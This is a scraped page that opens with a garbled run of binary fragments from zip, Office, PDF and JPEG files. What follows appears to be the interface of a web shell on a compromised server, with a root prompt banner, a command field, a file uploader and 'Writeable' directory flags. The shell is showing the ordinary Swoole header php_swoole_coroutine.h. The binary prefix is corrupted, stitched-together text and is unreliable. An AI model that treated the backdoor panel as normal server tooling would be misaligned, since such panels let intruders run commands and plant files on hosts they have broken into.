œ_#ÁÕ§TE NAŒ“KeÉ:”(åŽÖJÞùY’‚ñùž7; «]Û ý`8g“¯B© jd ÖÖ¸ðzœ¸¦4Ç3Kó^(ÍÖ¼ Õ€pvìwšõB4d f$Èü^0˜…åÌC$#2FŽÑ§±¦ÛZ/÷š&m£ñzÒÖ ’.Î]!Î;ƒ(Õ–¢d/—#Kª+tZyuÏB>NÛÖ†(¸ŒSà'³„Y˜´-_•¦¼´˜OlNK§¶ÒàŠˆTHµƒeTPå·fïM’…þuÏÍüp6دªE£åü‡ZØ'CKF#â«;‹eyO Qp„†l"ö1èíÙP ÏŒúl! BÝ2ñª•_VÁÉ÷3eu`–F¸ìI--ö<¿žë¯4õ캿¢)34Å{wMÉ2ÆÖFŸ¥` e9Ú¶¸P‡.”FÔï rY ‚²ÈTB,{ÛœéJ}«àQ4¹0Rû4D‚B§S‘ dO•v¾„™Sן¯3FeŸ™«+ÓâwH dÕÛÌì·P4ë&¥#rÜÉ Ù¦ê†ý·xòqk¯2,¹§™E\­ék‚×SᔏںÙ⺷ö£6…à ʾ qSá³Å|;àû}4Ÿ($â¹VY~óÍ!èÜÒŒËX½Ù1j‚VíÍŸš³+œ]«½g{_{/vµ½\¢¶vÉWKÿ:ñám½ ¥ S²x‘t ŽšÝÙÿÀÇ^ný PK   IW™k‚½÷ á  _rels/.relsUT dìd dìd dìd­’ÏNÃ0 ‡ï{ŠÈ÷ÕÝ@¡¥» ¤Ý*`%îÑ&QâÁöö‚J£ì°cœŸ¿|¶²ÙÆA½rL½wVE Šñ¶w­†çúay * 9Kƒw¬áÈ ¶ÕbóÄIîI]’Ê—4t"á1™ŽGJ…ìòMããH’±Å@æ…ZÆuYÞ`üÍ€jÂT;«!îì T} |Û7MoøÞ›ýÈNN<|v–í2ÄÜ¥ÏèšbË¢Ázó˜Ë )„"£O­Ï7ú{ZYÈ’yÞç#1'tuÉM?6o>Z´_å9›ëKÚ˜}?þ³žÏÌ·N>fµx PK    IWª½e  ¢ U  € word/document.xmlUT dìdPK    IWþË3” z  €J¢ word/settings.xmlUT dìdPK    IWC‡{š' ƒ  €¤ docProps/custom.xmlUT dìdPK    IW츱=Œ   €‡¥ [Content_Types].xmlUT dìdPK    IWV%ë±"   €U§ docProps/app.xmlUT dìdPK    IW€RŒ 3  €¶¨ docProps/core.xmlUT dìdPK    IWkòDn ô  €ª word/_rels/document.xml.relsUT dìdPK    IW ;$î   €Î« word/fontTable.xmlUT dìdPK    IW+åäz] ÷.  €ý¬ word/numbering.xmlUT dìdPK    IW¤2×r- ¿  €›° word/styles.xmlUT dìdPK    IWMFÒ ø  €´ word/header1.xmlUT dìdPK    IWF— T e  €· word/media/image1.jpegUT dìdPK    IW!Yéáå   €°Ë word/media/image2.pngUT dìdPK    IW°Àºë ú  €ÙÌ word/media/image3.pngUT dìdPK    IW$“†ª L  €Î word/footer1.xmlUT dìdPK    IWzaGôM   €ñÑ word/footer2.xmlUT dìdPK    IW–µ­âº P  €}Õ word/theme/theme1.xmlUT dìdPK    IW™k‚½÷ á €{Û _rels/.relsUT PK   ! bîh^   [Content_Types].xml ¢(   ¬”ËNÃ0E÷HüCä-Jܲ@5í‚Ç*Q>Àēƪc[žiiÿž‰ûB¡j7±ÏÜ{2ñÍh²nm¶‚ˆÆ»R ‹ÈÀU^7/ÅÇì%¿’rZYï @1__f› ˜q·ÃR4DáAJ¬h>€ãÚÇV߯¹ ªZ¨9ÈÛÁàNVÞ8Ê©ÓãÑÔji){^óã-I‹"{Üv^¥P!XS)bR¹rú—K¾s(¸3Õ`cÞ0†½ÝÎß»¾7M4²©ŠôªZƐk+¿|\|z¿(Ž‹ôPúº6h_-[ž@!‚ÒØ Pk‹´­2nÏ}Ä?£LËð Ýû%áÄßdºždN"m,à¥ÇžDO97*‚~§Èɸ8ÀOíc|n¦Ñ äEøÿöéºóÀBÉÀ!$}‡íàÈé;{ìÐå[ƒîñ–é2þ ÿÿ PK   ! µU0#ô L _rels/.rels ¢(   ¬’MOÃ0 †ïHü‡È÷ÕݐBKwAH»!T~€Iܵ£$Ý¿'TƒG½~üÊÛÝ<êÈ!öâ4¬‹;#¶w­†—úqu *&r–Fq¬áÄvÕõÕö™GJy(v½*«¸¨¡KÉß#FÓñD±Ï.W ¥†=™ZÆMYÞbø®ÕBSí­†°·7 ê“Ï›×–¦é ?ˆ9LìÒ™ÈsbgÙ®|Èl!õùUSh9i°bžr:"y_dlÀóD›¿ý|-NœÈR"4ø2ÏGÇ% õZ´4ñ˝yÄ7 ëÈðÉ‚‹¨Þ ÿÿ PK   ! Q48wÛ —  xl/workbook.xml¤UÙnâ0}iþ!cñ‡ *–¢AšVU×$dC¬&vÆv UÕŸë@XÊK§/¹p|Žï¹N÷b“¥Ö •Š ÞC¸î"‹òHÄŒ¯zèá~b·‘¥4á1I§=ôJºèÿüÑ] ù¼âÙ ®z(Ñ:GE ͈ª‹œrˆ,…̈†©\9*—”Ä*¡Tg©ã¹nàd„q´Eåg0ÄrÉ":Q‘Q®· ’¦D}•°\UhYô¸ŒÈç"·#‘å ±`)Ó¯%(²²(œ®¸d‘‚ì nZ w v¡ñª• t¶TÆ")”Xê:@;[Ògú±ë`|²›ó=ø’ïHúÂL÷¬dðEVÁ+8€a÷Ûh¬Uz%„Íû"ZsÏÍCýî’¥ôqk]‹äù5ÉL¦Rd¥Dé˘i÷P ¦bM/|dÉ",…¨çãFNoçiûéë>aêiçsó#ðÄ ÕTr¢éHp ÜIú®ÝJìQ"ÀÜÖ-ý[0I¡¦ÀZ Z…d¡nˆN¬B¦=4 g %PDF-1.4 %âãÏÓ 3 0 obj << /Linearized 1 /L 422775 ÿØÿà JFIF    ÿÛ C      ÿÛ C   ÿÀ  X" ÿÄ    ÿÄ H   !1A"Qaq2‘¡#±ÁBRÑ3Cbrá$S‚¢²ð4ñ%6DTc’ÂsÿÄ   ÿÄ =  !1AQ"aq‘Á2R¡±BÑð#3br’²4á$‚¢ÂñÿÚ   ? áHBßÝ`„! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! ! stream

___________________________ < root@rinduuu:~# /home/rinduuuuuuu?! > ___________________________

Command :

ikan Uploader :
Directory :  /opt/cloudlinux/alt-php71/root/usr/include/php/ext/swoole/ext-src/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //opt/cloudlinux/alt-php71/root/usr/include/php/ext/swoole/ext-src/php_swoole_coroutine.h
/*
  +----------------------------------------------------------------------+
  | Swoole                                                               |
  +----------------------------------------------------------------------+
  | This source file is subject to version 2.0 of the Apache license,    |
  | that is bundled with this package in the file LICENSE, and is        |
  | available through the world-wide-web at the following url:           |
  | http://www.apache.org/licenses/LICENSE-2.0.html                      |
  | If you did not receive a copy of the Apache2.0 license and are unable|
  | to obtain it through the world-wide-web, please send a note to       |
  | license@swoole.com so we can mail you a copy immediately.            |
  +----------------------------------------------------------------------+
  | Author: Xinyu Zhu  <xyzhu1120@gmail.com>                             |
  |         shiguangqi <shiguangqi2008@gmail.com>                        |
  |         Twosee  <twose@qq.com>                                       |
  |         Tianfeng Han  <rango@swoole.com>                             |
  +----------------------------------------------------------------------+
 */

#pragma once

#include "swoole_coroutine.h"
#include "swoole_coroutine_socket.h"
#include "swoole_coroutine_system.h"
#include "zend_vm.h"
#include "zend_closures.h"

#include <stack>
#include <thread>

#define SW_DEFAULT_MAX_CORO_NUM 100000
#define SW_DEFAULT_PHP_STACK_PAGE_SIZE 8192

#define SWOG ((zend_output_globals *) &OG(handlers))

SW_EXTERN_C_BEGIN
PHP_METHOD(swoole_coroutine_scheduler, set);
SW_EXTERN_C_END

namespace zend {
struct Function;
}

namespace swoole {

struct PHPContext;

struct FutureTask {
    zval coro_params;
    zval *current_coro_return_value_ptr;
    void *private_data;
    TimerNode *timer;
    PHPContext *current_task;
};

struct PHPContext {
    JMP_BUF *bailout;
    zval *vm_stack_top;
    zval *vm_stack_end;
    zend_vm_stack vm_stack;
    size_t vm_stack_page_size;
    zend_execute_data *execute_data;
    zend_error_handling_t error_handling;
    zend_class_entry *exception_class;
    zend_object *exception;
    zend_output_globals *output_ptr;
#if PHP_VERSION_ID < 80100
    /* for array_walk non-reentrancy */
    zend::Function *array_walk_fci;
#endif
    /* for error control `@` */
    bool in_silence;
    bool enable_scheduler;
    int ori_error_reporting;
    int tmp_error_reporting;
    Coroutine *co;
    std::stack<zend::Function *> *defer_tasks;
    long pcid;
    zend_object *context;
    int64_t last_msec;
};

class PHPCoroutine {
  public:
    struct Args {
        zend_fcall_info_cache *fci_cache;
        zval *argv;
        uint32_t argc;
    };

    struct Config {
        uint64_t max_num;
        uint32_t hook_flags;
        bool enable_preemptive_scheduler;
    };

    enum HookType {
        HOOK_NONE              = 0,
        HOOK_TCP               = 1u << 1,
        HOOK_UDP               = 1u << 2,
        HOOK_UNIX              = 1u << 3,
        HOOK_UDG               = 1u << 4,
        HOOK_SSL               = 1u << 5,
        HOOK_TLS               = 1u << 6,
        HOOK_STREAM_FUNCTION   = 1u << 7,
        HOOK_FILE              = 1u << 8,
        HOOK_SLEEP             = 1u << 9,
        HOOK_PROC              = 1u << 10,
        HOOK_CURL              = 1u << 28,
        HOOK_BLOCKING_FUNCTION = 1u << 30,
        HOOK_ALL               = 0x7fffffff,
    };

    static const uint8_t MAX_EXEC_MSEC = 10;
    static void init();
    static void deactivate(void *ptr);
    static void shutdown();
    static long create(zend_fcall_info_cache *fci_cache, uint32_t argc, zval *argv);
    static void defer(zend::Function *fci);

    static bool enable_hook(uint32_t flags);
    static bool disable_hook();

    static void interrupt_thread_stop();

    // TODO: remove old coro APIs (Manual)
    static void yield_m(zval *return_value, FutureTask *task);
    static void resume_m(FutureTask *task, zval *retval);

    static inline long get_cid() {
        return sw_likely(active) ? Coroutine::get_current_cid() : -1;
    }

    static inline long get_pcid(long cid = 0) {
        PHPContext *task = cid == 0 ? get_context() : get_context_by_cid(cid);
        return sw_likely(task) ? task->pcid : 0;
    }

    static inline long get_elapsed(long cid = 0) {
        return sw_likely(active) ? Coroutine::get_elapsed(cid) : -1;
    }

    static inline PHPContext *get_context() {
        PHPContext *task = (PHPContext *) Coroutine::get_current_task();
        return task ? task : &main_task;
    }

    static inline PHPContext *get_origin_context(PHPContext *task) {
        Coroutine *co = task->co->get_origin();
        return co ? (PHPContext *) co->get_task() : &main_task;
    }

    static inline PHPContext *get_context_by_cid(long cid) {
        return cid == -1 ? &main_task : (PHPContext *) Coroutine::get_task_by_cid(cid);
    }

    static inline uint64_t get_max_num() {
        return config.max_num;
    }

    static inline void set_max_num(uint64_t n) {
        config.max_num = n;
    }

    static inline bool is_schedulable(PHPContext *task) {
        return task->enable_scheduler && (Timer::get_absolute_msec() - task->last_msec > MAX_EXEC_MSEC);
    }

    static inline bool enable_scheduler() {
        PHPContext *task = (PHPContext *) Coroutine::get_current_task();
        if (task && !task->enable_scheduler) {
            task->enable_scheduler = true;
            return true;
        }
        return false;
    }

    static inline bool disable_scheduler() {
        PHPContext *task = (PHPContext *) Coroutine::get_current_task();
        if (task && task->enable_scheduler) {
            task->enable_scheduler = false;
            return true;
        }
        return false;
    }

    static inline void set_hook_flags(uint32_t flags) {
        config.hook_flags = flags;
    }

    static inline void enable_preemptive_scheduler(bool value) {
        config.enable_preemptive_scheduler = value;
    }

  protected:
    static bool active;
    static PHPContext main_task;
    static Config config;

    static bool interrupt_thread_running;
    static std::thread interrupt_thread;

    static void activate();

    static inline void vm_stack_init(void);
    static inline void vm_stack_destroy(void);
    static inline void save_vm_stack(PHPContext *task);
    static inline void restore_vm_stack(PHPContext *task);
    static inline void save_og(PHPContext *task);
    static inline void restore_og(PHPContext *task);
    static inline void save_task(PHPContext *task);
    static inline void restore_task(PHPContext *task);
    static void on_yield(void *arg);
    static void on_resume(void *arg);
    static void on_close(void *arg);
    static void main_func(void *arg);

    static void interrupt_thread_start();
    static inline void record_last_msec(PHPContext *task) {
        if (interrupt_thread_running) {
            task->last_msec = Timer::get_absolute_msec();
        }
    }
};
}  // namespace swoole

/**
 * for gdb
 */
zend_executor_globals *php_swoole_get_executor_globals();

........